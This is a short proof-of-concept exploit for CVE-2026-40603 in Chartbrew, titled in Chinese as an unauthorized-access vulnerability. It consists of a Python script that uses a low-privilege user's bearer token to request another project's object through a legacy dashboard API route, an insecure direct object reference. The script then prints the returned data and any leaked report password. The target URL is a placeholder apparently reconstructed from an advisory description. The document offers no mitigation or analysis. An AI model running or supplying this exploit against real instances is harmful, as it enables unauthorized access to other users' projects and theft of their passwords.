CVE-2026-40603 Chartbrew越权访问漏洞

import requests # Target URL (Example endpoint based on description) target_url = "http://target-chartbrew-instance/api/legacy/dashboard/{project_id}" # Attacker's credentials (Low privilege user in the same team) attacker_token = "LOW_PRIVILEGE_USER_TOKEN" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # The ID of the project the attacker wants to access (IDOR) target_project_id = "12345" try: # Send request to the vulnerable legacy route response = requests.get(target_url.format(project_id=target_project_id), headers=headers) if response.status_code == 200: data = response.json() print("[+] Exploit Successful! Retrieved raw project object:") print(data) # Extract sensitive data (e.g., report password) if 'reportPassword' in data: print(f"[+] Leaked Report Password: {data['reportPassword']}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")